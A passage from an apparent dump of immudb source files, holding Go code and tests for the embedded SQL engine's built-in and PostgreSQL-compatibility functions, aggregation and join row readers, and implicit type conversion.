implicitTable string) error {\n\tif t != TimestampType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, TimestampType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *NowFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) > 0 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function does not expect any argument but %d were provided\", ErrIllegalArguments, NowFnCall, len(params))\n\t}\n\treturn &Timestamp{val: tx.Timestamp().Truncate(time.Microsecond).UTC()}, nil\n}\n\n// -------------------------------------\n// JSON Functions\n// -------------------------------------\n\ntype JsonTypeOfFn struct{}\n\nfunc (f *JsonTypeOfFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn VarcharType, nil\n}\n\nfunc (f *JsonTypeOfFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != VarcharType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, VarcharType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *JsonTypeOfFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function expects %d arguments but %d were provided\", ErrIllegalArguments, JSONTypeOfFnCall, 1, len(params))\n\t}\n\n\tv := params[0]\n\tif v.IsNull() {\n\t\treturn NewNull(AnyType), nil\n\t}\n\n\tjsonVal, ok := v.(*JSON)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function expects an argument of type JSON\", ErrIllegalArguments, JSONTypeOfFnCall)\n\t}\n\treturn NewVarchar(jsonVal.primitiveType()), nil\n}\n\n// -------------------------------------\n// UUID Functions\n// -------------------------------------\n\ntype UUIDFn struct{}\n\nfunc (f *UUIDFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn UUIDType, nil\n}\n\nfunc (f *UUIDFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != UUIDType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, UUIDType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *UUIDFn) Apply(_ *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) > 0 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function does not expect any argument but %d were provided\", ErrIllegalArguments, UUIDFnCall, len(params))\n\t}\n\treturn &UUID{val: uuid.New()}, nil\n}\n\n// pg functions\n\ntype pgGetUserByIDFunc struct{}\n\nfunc (f *pgGetUserByIDFunc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != VarcharType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *pgGetUserByIDFunc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn VarcharType, nil\n}\n\nfunc (f *pgGetUserByIDFunc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function expects %d arguments but %d were provided\", ErrIllegalArguments, PGGetUserByIDFnCall, 1, len(params))\n\t}\n\n\tif params[0].RawValue() != int64(0) {\n\t\treturn nil, fmt.Errorf(\"user not found\")\n\t}\n\n\tusers, err := tx.ListUsers(tx.tx.Context())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tidx := findSysAdmin(users)\n\tif idx < 0 {\n\t\treturn nil, fmt.Errorf(\"admin not found\")\n\t}\n\treturn NewVarchar(users[idx].Username()), nil\n}\n\nfunc findSysAdmin(users []User) int {\n\tfor i, u := range users {\n\t\tif u.Permission() == PermissionSysAdmin {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}\n\ntype pgTableIsVisible struct{}\n\nfunc (f *pgTableIsVisible) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != BooleanType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, BooleanType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *pgTableIsVisible) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn BooleanType, nil\n}\n\nfunc (f *pgTableIsVisible) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function expects %d arguments but %d were provided\", ErrIllegalArguments, PgTableIsVisibleFnCall, 1, len(params))\n\t}\n\treturn NewBool(true), nil\n}\n\ntype pgShobjDescription struct{}\n\nfunc (f *pgShobjDescription) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != VarcharType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, VarcharType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *pgShobjDescription) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn VarcharType, nil\n}\n\nfunc (f *pgShobjDescription) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) != 2 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function expects %d arguments but %d were provided\", ErrIllegalArguments, PgShobjDescriptionFnCall, 2, len(params))\n\t}\n\treturn NewVarchar(\"\"), nil\n}\n"
  },
  {
    "path": "embedded/sql/functions_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPGFunctions(t *testing.T) {\n\tt.Run(\"pg_get_userbyid\", func(t *testing.T) {\n\t\tvar f pgGetUserByIDFunc\n\n\t\terr := f.RequiresType(BooleanType, nil, nil, \"\")\n\t\trequire.Error(t, err, ErrInvalidTypes)\n\n\t\terr = f.RequiresType(VarcharType, nil, nil, \"\")\n\t\trequire.NoError(t, err)\n\n\t\tfuncType, err := f.InferType(nil, nil, \"\")\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, VarcharType, funcType)\n\n\t\t_, err = f.Apply(nil, []TypedValue{NewInteger(0), NewInteger(0)})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, err = f.Apply(nil, []TypedValue{NewInteger(1)})\n\t\trequire.ErrorContains(t, err, \"user not found\")\n\t})\n\n\tt.Run(\"pg_table_is_visible\", func(t *testing.T) {\n\t\tvar f pgTableIsVisible\n\n\t\terr := f.RequiresType(VarcharType, nil, nil, \"\")\n\t\trequire.Error(t, err, ErrInvalidTypes)\n\n\t\terr = f.RequiresType(BooleanType, nil, nil, \"\")\n\t\trequire.NoError(t, err)\n\n\t\tfuncType, err := f.InferType(nil, nil, \"\")\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, BooleanType, funcType)\n\n\t\t_, err = f.Apply(nil, []TypedValue{})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\tv, err := f.Apply(nil, []TypedValue{NewVarchar(\"my_table\")})\n\t\trequire.NoError(t, err)\n\t\trequire.True(t, v.RawValue().(bool))\n\t})\n\n\tt.Run(\"pg_shobj_description\", func(t *testing.T) {\n\t\tvar f pgShobjDescription\n\n\t\terr := f.RequiresType(BooleanType, nil, nil, \"\")\n\t\trequire.Error(t, err, ErrInvalidTypes)\n\n\t\terr = f.RequiresType(VarcharType, nil, nil, \"\")\n\t\trequire.NoError(t, err)\n\n\t\tfuncType, err := f.InferType(nil, nil, \"\")\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, VarcharType, funcType)\n\n\t\t_, err = f.Apply(nil, []TypedValue{NewVarchar(\"\")})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\tv, err := f.Apply(nil, []TypedValue{NewVarchar(\"\"), NewVarchar(\"\")})\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, v.RawValue())\n\t})\n}\n"
  },
  {
    "path": "embedded/sql/grouped_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\ntype groupedRowReader struct {\n\trowReader RowReader\n\n\tselectors       []*AggColSelector\n\tgroupByCols     []*ColSelector\n\tcols            []ColDescriptor\n\tallAggregations bool\n\n\tcurrRow *Row\n\tempty   bool\n}\n\nfunc newGroupedRowReader(rowReader RowReader, allAggregations bool, selectors []*AggColSelector, groupBy []*ColSelector) (*groupedRowReader, error) {\n\tif rowReader == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tgr := &groupedRowReader{\n\t\trowReader:       rowReader,\n\t\tselectors:       selectors,\n\t\tgroupByCols:     groupBy,\n\t\tempty:           true,\n\t\tallAggregations: allAggregations,\n\t}\n\n\tcols, err := gr.columns()\n\tif err == nil {\n\t\tgr.cols = cols\n\t}\n\treturn gr, err\n}\n\nfunc (gr *groupedRowReader) onClose(callback func()) {\n\tgr.rowReader.onClose(callback)\n}\n\nfunc (gr *groupedRowReader) Tx() *SQLTx {\n\treturn gr.rowReader.Tx()\n}\n\nfunc (gr *groupedRowReader) TableAlias() string {\n\treturn gr.rowReader.TableAlias()\n}\n\nfunc (gr *groupedRowReader) OrderBy() []ColDescriptor {\n\treturn gr.rowReader.OrderBy()\n}\n\nfunc (gr *groupedRowReader) ScanSpecs() *ScanSpecs {\n\treturn gr.rowReader.ScanSpecs()\n}\n\nfunc (gr *groupedRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\treturn gr.cols, nil\n}\n\nfunc (gr *groupedRowReader) columns() ([]ColDescriptor, error) {\n\tcolsBySel, err := gr.colsBySelector(context.Background())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tselectorMap := make(map[string]bool)\n\tcolsByPos := make([]ColDescriptor, 0, len(gr.selectors))\n\tfor _, sel := range gr.selectors {\n\t\tencSel := EncodeSelector(sel.resolve(gr.rowReader.TableAlias()))\n\t\tcolsByPos = append(colsByPos, colsBySel[encSel])\n\t\tselectorMap[encSel] = true\n\t}\n\n\tfor _, col := range gr.groupByCols {\n\t\tsel := EncodeSelector(col.resolve(gr.rowReader.TableAlias()))\n\t\tif !selectorMap[sel] {\n\t\t\tcolsByPos = append(colsByPos, colsBySel[sel])\n\t\t}\n\t}\n\treturn colsByPos, nil\n}\n\nfunc (gr *groupedRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\tcolDescriptors, err := gr.rowReader.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, sel := range gr.selectors {\n\t\taggFn, table, col := sel.resolve(gr.rowReader.TableAlias())\n\n\t\tif aggFn == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tdes := ColDescriptor{\n\t\t\tAggFn:  aggFn,\n\t\t\tTable:  table,\n\t\t\tColumn: col,\n\t\t\tType:   IntegerType,\n\t\t}\n\n\t\tencSel := des.Selector()\n\n\t\tif aggFn == COUNT {\n\t\t\tcolDescriptors[encSel] = des\n\t\t\tcontinue\n\t\t}\n\n\t\tcolDesc, ok := colDescriptors[EncodeSelector(\"\", table, col)]\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrColumnDoesNotExist, col)\n\t\t}\n\n\t\tdes.Type = colDesc.Type\n\t\tcolDescriptors[encSel] = des\n\t}\n\treturn colDescriptors, nil\n}\n\nfunc allAggregations(targets []TargetEntry) bool {\n\tfor _, t := range targets {\n\t\t_, isAggregation := t.Exp.(*AggColSelector)\n\t\tif !isAggregation {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc zeroForType(t SQLValueType) TypedValue {\n\tswitch t {\n\tcase IntegerType:\n\t\treturn &Integer{}\n\tcase Float64Type:\n\t\treturn &Float64{}\n\tcase BooleanType:\n\t\treturn &Bool{}\n\tcase VarcharType:\n\t\treturn &Varchar{}\n\tcase JSONType:\n\t\treturn &JSON{}\n\tcase UUIDType:\n\t\treturn &UUID{}\n\tcase BLOBType:\n\t\treturn &Blob{}\n\tcase TimestampType:\n\t\treturn &Timestamp{}\n\t}\n\treturn nil\n}\n\nfunc (gr *groupedRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\treturn gr.rowReader.InferParameters(ctx, params)\n}\n\nfunc (gr *groupedRowReader) Parameters() map[string]interface{} {\n\treturn gr.rowReader.Parameters()\n}\n\nfunc (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) {\n\tfor {\n\t\trow, err := gr.rowReader.Read(ctx)\n\t\tif errors.Is(err, store.ErrNoMoreEntries) {\n\t\t\treturn gr.emitCurrentRow(ctx)\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tgr.empty = false\n\n\t\tif gr.currRow == nil {\n\t\t\tgr.currRow = row\n\t\t\terr = gr.initAggregations(gr.currRow)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tcompatible, err := gr.currRow.compatible(row, gr.groupByCols, gr.rowReader.TableAlias())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif !compatible {\n\t\t\tr := gr.currRow\n\t\t\tgr.currRow = row\n\n\t\t\terr = gr.initAggregations(gr.currRow)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn r, nil\n\t\t}\n\n\t\t// Compatible rows get merged\n\t\terr = updateRow(gr.currRow, row)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n}\n\nfunc updateRow(currRow, newRow *Row) error {\n\tfor _, v := range currRow.ValuesBySelector {\n\t\taggV, isAggregatedValue := v.(AggregatedValue)\n\n\t\tif isAggregatedValue {\n\t\t\tif aggV.ColBounded() {\n\t\t\t\tval, exists := newRow.ValuesBySelector[aggV.Selector()]\n\t\t\t\tif !exists {\n\t\t\t\t\treturn ErrColumnDoesNotExist\n\t\t\t\t}\n\n\t\t\t\terr := aggV.updateWith(val)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !aggV.ColBounded() {\n\t\t\t\terr := aggV.updateWith(nil)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (gr *groupedRowReader) emitCurrentRow(ctx context.Context) (*Row, error) {\n\tif gr.empty && gr.allAggregations && len(gr.groupByCols) == 0 {\n\t\tzr, err := gr.zeroRow(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tgr.empty = false\n\t\treturn zr, nil\n\t}\n\n\tif gr.currRow == nil {\n\t\treturn nil, ErrNoMoreRows\n\t}\n\n\tr := gr.currRow\n\tgr.currRow = nil\n\n\treturn r, nil\n}\n\nfunc (gr *groupedRowReader) zeroRow(ctx context.Context) (*Row, error) {\n\t// special case when all selectors are aggregations\n\tzeroRow := &Row{\n\t\tValuesByPosition: make([]TypedValue, len(gr.selectors)),\n\t\tValuesBySelector: make(map[string]TypedValue, len(gr.selectors)),\n\t}\n\n\tcolsBySelector, err := gr.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor i, sel := range gr.selectors {\n\t\taggFn, table, col := sel.resolve(gr.rowReader.TableAlias())\n\t\tencSel := EncodeSelector(aggFn, table, col)\n\n\t\tvar zero TypedValue\n\t\tif aggFn == COUNT {\n\t\t\tzero = zeroForType(IntegerType)\n\t\t} else {\n\t\t\tzero = zeroForType(colsBySelector[encSel].Type)\n\t\t}\n\n\t\tzeroRow.ValuesByPosition[i] = zero\n\t\tzeroRow.ValuesBySelector[encSel] = zero\n\t}\n\treturn zeroRow, nil\n}\n\nfunc (gr *groupedRowReader) initAggregations(row *Row) error {\n\t// augment row with aggregated values\n\tfor _, sel := range gr.selectors {\n\t\taggFn, table, col := sel.resolve(gr.rowReader.TableAlias())\n\t\tv, err := initAggValue(aggFn, table, col)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif v == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tencSel := EncodeSelector(aggFn, table, col)\n\t\trow.ValuesBySelector[encSel] = v\n\t}\n\n\tfor i, col := range gr.cols {\n\t\tv := row.ValuesBySelector[col.Selector()]\n\n\t\tif i < len(row.ValuesByPosition) {\n\t\t\trow.ValuesByPosition[i] = v\n\t\t} else {\n\t\t\trow.ValuesByPosition = append(row.ValuesByPosition, v)\n\t\t}\n\t}\n\trow.ValuesByPosition = row.ValuesByPosition[:len(gr.cols)]\n\treturn updateRow(row, row)\n}\n\nfunc initAggValue(aggFn, table, col string) (TypedValue, error) {\n\tvar v TypedValue\n\tswitch aggFn {\n\tcase COUNT:\n\t\t{\n\t\t\tif col != \"*\" {\n\t\t\t\treturn nil, ErrLimitedCount\n\t\t\t}\n\n\t\t\tv = &CountValue{sel: EncodeSelector(\"\", table, col)}\n\t\t}\n\tcase SUM:\n\t\t{\n\t\t\tv = &SumValue{\n\t\t\t\tval: &NullValue{t: AnyType},\n\t\t\t\tsel: EncodeSelector(\"\", table, col),\n\t\t\t}\n\t\t}\n\tcase MIN:\n\t\t{\n\t\t\tv = &MinValue{\n\t\t\t\tval: &NullValue{t: AnyType},\n\t\t\t\tsel: EncodeSelector(\"\", table, col),\n\t\t\t}\n\t\t}\n\tcase MAX:\n\t\t{\n\t\t\tv = &MaxValue{\n\t\t\t\tval: &NullValue{t: AnyType},\n\t\t\t\tsel: EncodeSelector(\"\", table, col),\n\t\t\t}\n\t\t}\n\tcase AVG:\n\t\t{\n\t\t\tv = &AVGValue{\n\t\t\t\ts:   &NullValue{t: AnyType},\n\t\t\t\tsel: EncodeSelector(\"\", table, col),\n\t\t\t}\n\t\t}\n\t}\n\treturn v, nil\n}\n\nfunc (gr *groupedRowReader) Close() error {\n\treturn gr.rowReader.Close()\n}\n"
  },
  {
    "path": "embedded/sql/grouped_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGroupedRowReader(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, err = newGroupedRowReader(nil, false, nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), tx, \"CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\ttx, err = engine.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\tdefer tx.Cancel()\n\n\ttable := tx.catalog.tables[0]\n\n\tr, err := newRawRowReader(tx, nil, table, period{}, \"\", &ScanSpecs{Index: table.primaryIndex})\n\trequire.NoError(t, err)\n\n\tgr, err := newGroupedRowReader(r, false, []*AggColSelector{{aggFn: \"COUNT\", col: \"id\"}}, []*ColSelector{{col: \"id\"}})\n\trequire.NoError(t, err)\n\n\torderBy := gr.OrderBy()\n\trequire.NotNil(t, orderBy)\n\trequire.Len(t, orderBy, 1)\n\trequire.Equal(t, \"id\", orderBy[0].Column)\n\trequire.Equal(t, \"table1\", orderBy[0].Table)\n\n\tcols, err := gr.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 2)\n\n\tscanSpecs := gr.ScanSpecs()\n\trequire.NotNil(t, scanSpecs)\n\trequire.NotNil(t, scanSpecs.Index)\n\trequire.True(t, scanSpecs.Index.IsPrimary())\n}\n"
  },
  {
    "path": "embedded/sql/implicit_conversion.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport \"github.com/google/uuid\"\n\n// mayApplyImplicitConversion may do an implicit type conversion\n// implicit conversion is currently done in a subset of possible explicit conversions i.e. CAST\nfunc mayApplyImplicitConversion(val interface{}, requiredColumnType SQLValueType) (interface{}, error) {\n\tif val == nil {\n\t\treturn nil, nil\n\t}\n\n\tvar converter converterFunc\n\tvar typedVal TypedValue\n\tvar err error\n\n\tswitch requiredColumnType {\n\tcase Float64Type:\n\t\tswitch value := val.(type) {\n\t\tcase float64:\n\t\t\treturn val, nil\n\t\tcase int:\n\t\t\tconverter, err = getConverter(IntegerType, Float64Type)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\ttypedVal = &Integer{val: int64(value)}\n\t\tcase int64:\n\t\t\tconverter, err = getConverter(IntegerType, Float64Type)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\ttypedVal = &Integer{val: value}\n\t\tcase string:\n\t\t\tconverter, err = getConverter(VarcharType, Float64Type)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\ttypedVal = &Varchar{val: value}\n\t\t}\n\tcase IntegerType:\n\t\tswitch value := val.(type) {\n\t\tcase int64:\n\t\t\treturn val, nil\n\t\tcase float64:\n\t\t\tconverter, err = getConverter(Float64Type, IntegerType)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\ttypedVal = &Float64{val: value}\n\t\tcase string:\n\t\t\tconverter, err = getConverter(VarcharType, IntegerType)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\ttypedVal = &Varchar{val: value}\n\t\t}\n\tcase UUIDType:\n\t\tswitch value := val.(type) {\n\t\tcase uuid.UUID:\n\t\t\treturn val, nil\n\t\tcase string:\n\t\t\tconverter, err = getConverter(VarcharType, UUIDType)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\ttypedVal = &Varchar{val: value}\n\t\tcase []byte:\n\t\t\tconverter, err = getConverter(BLOBType, UUIDType)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\ttypedVal = &Blob{val: value}\n\t\t}\n\tdefault:\n\t\t// No implicit conversion rule found, do not convert at all\n\t\treturn val, nil\n\t}\n\n\tif typedVal == nil {\n\t\t// No implicit conversion rule found, do not convert at all\n\t\treturn val, nil\n\t}\n\n\tconvVal, err := converter(typedVal)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn convVal.RawValue(), nil\n}\n"
  },
  {
    "path": "embedded/sql/implicit_conversion_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestApplyImplicitConversion(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tval          interface{}\n\t\trequiredType SQLValueType\n\t\texpected     interface{}\n\t}{\n\t\t{1, IntegerType, int64(1)},\n\t\t{1, Float64Type, float64(1)},\n\t\t{1.0, Float64Type, float64(1)},\n\t\t{\"1\", IntegerType, int64(1)},\n\t\t{\"4.2\", Float64Type, float64(4.2)},\n\t\t// UUID Version 4, RFC4122 Variant\n\t\t{\"00010203-0440-0680-0809-0a0b0c0d0e0f\", UUIDType, uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})},\n\t\t{[]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}, UUIDType, uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\tconvVal, err := mayApplyImplicitConversion(d.val, d.requiredType)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, d.expected, convVal)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "embedded/sql/joint_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/multierr\"\n)\n\ntype jointRowReader struct {\n\trowReader RowReader\n\n\tjoins []*JoinSpec\n\n\trowReaders                 []RowReader\n\trowReadersValuesByPosition [][]TypedValue\n\trowReadersValuesBySelector []map[string]TypedValue\n}\n\nfunc newJointRowReader(rowReader RowReader, joins []*JoinSpec) (*jointRowReader, error) {\n\tif rowReader == nil || len(joins) == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tfor _, jspec := range joins {\n\t\tswitch jspec.joinType {\n\t\tcase InnerJoin, LeftJoin:\n\t\tdefault:\n\t\t\treturn nil, ErrUnsupportedJoinType\n\t\t}\n\t}\n\n\treturn &jointRowReader{\n\t\trowReader:                  rowReader,\n\t\tjoins:                      joins,\n\t\trowReaders:                 []RowReader{rowReader},\n\t\trowReadersValuesByPosition: make([][]TypedValue, 1+len(joins)),\n\t\trowReadersValuesBySelector: make([]map[string]TypedValue, 1+len(joins)),\n\t}, nil\n}\n\nfunc (jointr *jointRowReader) onClose(callback func()) {\n\tjointr.rowReader.onClose(callback)\n}\n\nfunc (jointr *jointRowReader) Tx() *SQLTx {\n\treturn jointr.rowReader.Tx()\n}\n\nfunc (jointr *jointRowReader) TableAlias() string {\n\treturn jointr.rowReader.TableAlias()\n}\n\nfunc (jointr *jointRowReader) OrderBy() []ColDescriptor {\n\treturn jointr.rowReader.OrderBy()\n}\n\nfunc (jointr *jointRowReader) ScanSpecs() *ScanSpecs {\n\treturn jointr.rowReader.ScanSpecs()\n}\n\nfunc (jointr *jointRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\treturn jointr.colsByPos(ctx)\n}\n\nfunc (jointr *jointRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\tcolDescriptors, err := jointr.rowReader.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tjointDescriptors := make(map[string]ColDescriptor, len(colDescriptors))\n\tfor sel, desc := range colDescriptors {\n\t\tjointDescriptors[sel] = desc\n\t}\n\n\tfor _, jspec := range jointr.joins {\n\t\t// TODO (byo) optimize this by getting selector list only 